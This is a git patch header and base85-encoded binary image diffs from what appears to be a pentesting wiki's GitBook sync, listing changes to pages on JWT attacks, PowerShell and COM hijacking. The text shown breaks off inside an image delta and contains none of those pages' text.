From 9c920d3e26362845cfee82e89eeee0295f95a69c Mon Sep 17 00:00:00 2001 From: CPol Date: Fri, 12 Aug 2022 23:51:41 +0000 Subject: [PATCH] GitBook: [#3366] No subject --- .gitbook/assets/image (638) (3).png | Bin 8645 -> 8032 bytes .gitbook/assets/image (638).png | Bin 8032 -> 34241 bytes SUMMARY.md | 1 + pentesting-web/hacking-jwt-json-web-tokens.md | 2 +- .../basic-powershell-for-pentesters/README.md | 10 +- .../README.md | 18 +++ .../com-hijacking.md | 106 ++++++++++++++++++ 7 files changed, 132 insertions(+), 5 deletions(-) create mode 100644 windows-hardening/windows-local-privilege-escalation/com-hijacking.md diff --git a/.gitbook/assets/image (638) (3).png b/.gitbook/assets/image (638) (3).png index 8b78137878e651bae5b3d2b10f606ce2d99468f0..e481b49e1a3c7f9dbd36c5088baafae0657cc7de 100644 GIT binary patch delta 7989 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 delta 8609 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 diff --git a/.gitbook/assets/image (638).png b/.gitbook/assets/image (638).png index e481b49e1a3c7f9dbd36c5088baafae0657cc7de..2b1d4ac66778ec1cf22fe35ba7602b784f62bc77 100644 GIT binary patch delta 31256 